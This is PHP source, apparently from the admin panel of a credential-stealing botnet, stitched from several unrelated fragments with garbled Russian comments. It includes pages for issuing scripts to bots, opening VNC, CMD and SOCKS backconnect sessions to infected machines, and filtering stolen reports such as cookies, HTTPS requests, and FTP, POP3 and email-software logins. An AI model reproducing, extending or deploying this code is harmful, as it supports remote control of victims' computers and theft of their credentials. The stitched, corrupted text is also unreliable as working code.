/////////////////////////////////////////////////////////////////////////////////////////////////// // JavaScript скрипты. /////////////////////////////////////////////////////////////////////////////////////////////////// $js_script = 0; if ($_allow_edit) { $js_script = jsCheckAll('scriptslist', 'checkall', 'scripts[]') . "function ExecuteAction(){return confirm('" . addJsSlashes(LNG_BOTNET_LIST_ACTION_Q) . "');}"; } /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание списка команд. /////////////////////////////////////////////////////////////////////////////////////////////////// require_once 'system/lib/db.php'; require_once 'system/lib/guiutil.php'; $_GET['page'] = (int) (empty($_GET['page']) ? 1 : $_GET['page']);
else el.innerHTML = '{$ajax_err}'; }} function SearchFiles() { {$ajax_init} if(srhhttp) { srhhttp.onreadystatechange = function(){stateChange()}; srhhttp.open('GET', '{$q}&search=1', true); srhhttp.send(null); } } JS_SCRIPT; } ThemeBegin(LNG_REPORTS, $js_script, $_is_browser ? 0 : getBotJsMenu('botmenu'), $_is_browser ? 0 : ' onload="SearchFiles(0, 0)"'); //Фильтр. echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('filter', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_BEGIN) . FORM_CURRENT_MODULE . str_replace(array('{NAME}', '{VALUE}'), array('path', htmlEntitiesEx($_FILTER['path'])), THEME_FORM_VALUE) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_REPORTS_FILTER_TITLE), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_BOTS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'bots', htmlEntitiesEx($_FILTER['bots']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ITEM_MAXSPACE . str_replace('{TEXT}', LNG_REPORTS_FILTER_BOTNETS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'botnets', htmlEntitiesEx($_FILTER['botnets']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_MASK, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUTQ_WIDTH, 'mask', htmlEntitiesEx($_FILTER['mask']), 4096), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_QUERY, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUTQ_WIDTH, 'q', htmlEntitiesEx($_FILTER['q']), 4096), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{TEXT}', '{JS_EVENTS}'), array(2, 'cs', 1, LNG_REPORTS_FILTER_CS, ''), $_FILTER['cs'] ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{TEXT}', '{JS_EVENTS}'), array(2, 'cd', 1, LNG_REPORTS_FILTER_CURDIR, ''), $_FILTER['cd'] ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_REPORTS_FILTER_RESET, ''), THEME_DIALOG_ITEM_ACTION_RESET) . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_REPORTS_FILTER_SUBMIT, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . THEME_FORMGET_END . THEME_VSPACE; //Вывод ошибок. if (!empty($_errors)) { $i = 0; echo str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN); foreach ($_errors as $e) { echo THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', str_replace('{TEXT}', $e, THEME_STRING_ERROR)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END; $i++; } echo THEME_LIST_END . THEME_VSPACE; } //Список дейтсвий. $al = LNG_REPORTS_FILESACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('filesaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN); if ($_allow_remove) {
} else { echo 'MySQL error: ' . mysql_error(); } break; } die; } if (count($_POST)) { if (isset($_POST['connect'])) { mysql_query(mkquery('REPLACE INTO `vnc_bot_connections` VALUES({s:botid}, {i:protocol}, {i:do_connect}, 0, 0, 0);', $_POST['connect'])); header('HTTP/1.1 301 Redirect'); header('Location: ?m=botnet_vnc'); die; } } ThemeBegin(LNG_THEME_TITLE, 0, getBotJsMenu('botmenu'), 0); echo '<table class="table_frame" id="switch-tabs"><tr><td>', '<ul>', '<li class="current"><a href="?m=botnet_vnc"><img src="images/vnc.png" />', LNG_MM_BOTNET_VNC, '</a></li>', '<li class="other" ><a href="?m=reports_accparse"><img src="images/drill.png" />', LNG_MM_REPORTS_ACCPARSE, '</a></li>', '</ul>', '</td></tr></table>'; # ==========[ ADD BOT ]========== # echo str_replace(array('{WIDTH}', '{COLUMNS_COUNT}', '{TEXT}'), array('100%', 1, LNG_CREATE_CONNECTION), THEME_LIST_BEGIN . THEME_LIST_TITLE), '<tr><td>'; if (empty($GLOBALS['config']['vnc_server'])) { echo '<div class="error">', LNG_NOT_CONFIGURED, '</div>'; } else { echo '<form method=POST>'; echo '<dl>'; echo '<dt>', LNG_CREATE_CONNECTION_BOTID, '</dt>', '<dd>', '<input type="text" name="connect[botid]" value="" size="100"/>', '</dd>'; echo '<dt>', LNG_CREATE_CONNECTION_PROTOCOL, '</dt>', '<dd>', '<label><input type="radio" name="connect[protocol]" value="1" checked /> VNC </label> ', $GLOBALS['BUILD_INI']['enabled_features']['botnet_vnc.backconnect_cmd'] ? '<label><input type="radio" name="connect[protocol]" value="2" /> CMD </label> ' : '', '<label><input type="radio" name="connect[protocol]" value="5" /> SOCKS</label>', '</dd>'; echo '</dl>'; echo '<button name="connect[do_connect]" value="1">', LNG_CREATE_CONNECTION_CONNECT, '</button>'; echo '<button name="connect[do_connect]" value="-1">', LNG_CREATE_CONNECTION_AUTOCONNECT, '</button>'; echo '</form>'; }
{ if(datehttp)delete sockshttp; if(i < datelist.length) { {$ajax_init} if(datehttp) { datehttp.onreadystatechange = function(){stateChange(i)}; datehttp.open('GET', '{$q}&date=' + datelist[i][1], true); datehttp.send(null); } } } JS_SCRIPT; } ThemeBegin(LNG_REPORTS, $js_script, getBotJsMenu('botmenu'), $_is_ajax_result ? ' onload="SearchDate(0);"' : 0); //P ¤ Pepsi "SЊS, SЂ. echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('filter', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_BEGIN); if ($_allow_remove) { echo str_replace(array('{NAME}', '{VALUE}'), array('rm', 0), THEME_FORM_VALUE); } echo FORM_CURRENT_MODULE . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_REPORTS_FILTER_TITLE), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . LNG_REPORTS_FILTER_DATE_P1 . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('date1', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . MakeDateList('date1', $rlist) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . LNG_REPORTS_FILTER_DATE_P2 . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('date2', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . MakeDateList('date2', $rlist) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . LNG_REPORTS_FILTER_DATE_P3 . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_BOTS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'bots', htmlEntitiesEx($filter['bots']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ITEM_MAXSPACE . str_replace('{TEXT}', LNG_REPORTS_FILTER_BOTNETS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'botnets', htmlEntitiesEx($filter['botnets']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_IPS, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'ips', htmlEntitiesEx($filter['ips']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ITEM_MAXSPACE . str_replace('{TEXT}', LNG_REPORTS_FILTER_COUNTRIES, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'countries', htmlEntitiesEx($filter['countries']), 512), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_QUERY, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUTQ_WIDTH, 'q', htmlEntitiesEx($filter['q']), 4096), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_FILTER_REPORTTYPE, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('blt', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_UNKNOWN, LNG_REPORTS_FILTER_ALL), $filter['blt'] == BLT_UNKNOWN ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_COOKIES, LNG_BLT_COOKIES), $filter['blt'] == BLT_COOKIES ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_FILE, LNG_BLT_FILE), $filter['blt'] == BLT_FILE ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(-1, LNG_BLT_HTTPX_REQUEST), $filter['blt'] == -1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_HTTP_REQUEST, LNG_BLT_HTTP_REQUEST), $filter['blt'] == BLT_HTTP_REQUEST ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_HTTPS_REQUEST, LNG_BLT_HTTPS_REQUEST), $filter['blt'] == BLT_HTTPS_REQUEST ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_LOGIN_FTP, LNG_BLT_LOGIN_FTP), $filter['blt'] == BLT_LOGIN_FTP ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_LOGIN_POP3, LNG_BLT_LOGIN_POP3), $filter['blt'] == BLT_LOGIN_POP3 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(-2, LNG_BLT_GRABBED_X), $filter['blt'] == -2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_GRABBED_UI, LNG_BLT_GRABBED_UI), $filter['blt'] == BLT_GRABBED_UI ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_GRABBED_HTTP, LNG_BLT_GRABBED_HTTP), $filter['blt'] == BLT_GRABBED_HTTP ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_GRABBED_WSOCKET, LNG_BLT_GRABBED_WSOCKET), $filter['blt'] == BLT_GRABBED_WSOCKET ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_GRABBED_FTPSOFTWARE, LNG_BLT_GRABBED_FTPSOFTWARE), $filter['blt'] == BLT_GRABBED_FTPSOFTWARE ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_GRABBED_EMAILSOFTWARE, LNG_BLT_GRABBED_EMAILSOFTWARE), $filter['blt'] == BLT_GRABBED_EMAILSOFTWARE ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(BLT_GRABBED_OTHER, LNG_BLT_GRABBED_OTHER), $filter['blt'] == BLT_GRABBED_OTHER ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{TEXT}', '{JS_EVENTS}'), array(2, 'cs', 1, LNG_REPORTS_FILTER_CS, ''), $filter['cs'] ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{TEXT}', '{JS_EVENTS}'), array(2, 'grouping', 1, LNG_REPORTS_FILTER_GROUPQUERY, ''), $filter['grouping'] ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{TEXT}', '{JS_EVENTS}'), array(2, 'nonames', 1, LNG_REPORTS_FILTER_NONAMES, ''), $filter['nonames'] ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{TEXT}', '{JS_EVENTS}'), array(2, 'plain', 1, LNG_REPORTS_FILTER_PLAIN, ''), $filter['plain'] ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_REPORTS_FILTER_RESET, ''), THEME_DIALOG_ITEM_ACTION_RESET) . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_REPORTS_FILTER_SUBMIT, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . ($_allow_remove ? THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_REPORTS_FILTER_REMOVE, ' onclick="RemoveReports()"'), THEME_DIALOG_ITEM_ACTION) : '') . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . THEME_FORMGET_END; //R'S <RІRѕRґ SЂRμR · SѓR "SЊS, P ° C, P °. if ($_is_ajax_result) { //RЎRѕR · RґR ° RЅReRμ SЃRїReSЃRѕRєR ° RґRμR number MOP, RІReR №. $al = ''; if ($filter['rm'] !== 1 && $filter['nonames'] !== 1 && count($botMenu) > 0) { $al = str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('checkall', 1, ' onclick="checkAll()"'), THEME_DIALOG_ITEM_INPUT_CHECKBOX_3) . THEME_STRING_SPACE . LNG_REPORTS_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN); foreach ($botMenu as $item) { $al .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM); }
<?php $notepad_file = 'system/data/svc_notes.htm'; if (isset($_GET['ajax'])) { switch ($_GET['ajax']) { case 'save_notepad': if (!file_put_contents($notepad_file, $_POST['content'])) { header('HTTP/1.1 400 Write error'); } break; } die; } ThemeBegin(LNG_MM_SERVICE_NOTES, 0, getBotJsMenu('botmenu'), 0); echo '<table><tr><td>'; # Check permissions if (!is_writable(dirname($notepad_file))) { echo '<div class="error">', LNG_DIR_MUST_BE_WRITABLE, $notepad_file, '</div>'; } if (file_exists($notepad_file) && !is_writable($notepad_file)) { echo '<div class="error">', LNG_FILE_MUST_BE_WRITABLE, $notepad_file, '</div>'; } # Read contents $notepad_contents = ''; if (file_exists($notepad_file)) { $notepad_contents = file_get_contents($notepad_file); } # The notepad echo '<div id="notepads">', '<div class="notepad" contenteditable="true" data-href="&id=0">', $notepad_contents, '</div>', '</div>'; echo '</td></tr></table>'; echo <<<HTML
function BcCheck(i) { if(socksHttp)delete socksHttp; if(i < socksList.length) { {$ajaxInit} if(socksHttp) { socksHttp.onreadystatechange = function(){stateChange(i)}; socksHttp.open('GET', '{$q}&ipv4=' + socksList[i][1] + '&port=' + socksList[i][2], true); socksHttp.send(null); } } } JS_SCRIPT; themeSmall(LNG_BA_BACKCONNECT_TITLE, $data . THEME_LIST_END, $ajax, getBotJsMenu('botmenu'), ' onload="BcCheck(0);"'); } else { if (strcmp($ba, 'newscript') === 0) { foreach ($blist as $k => $v) { if (spaceCharsExist($v)) { $blist[$k] = '"' . $v . '"'; } } header('Location: ' . QUERY_STRING_BLANK . 'botnet_scripts&new=-1&bots=' . urlencode(implode(' ', $blist))); die; } } } } } }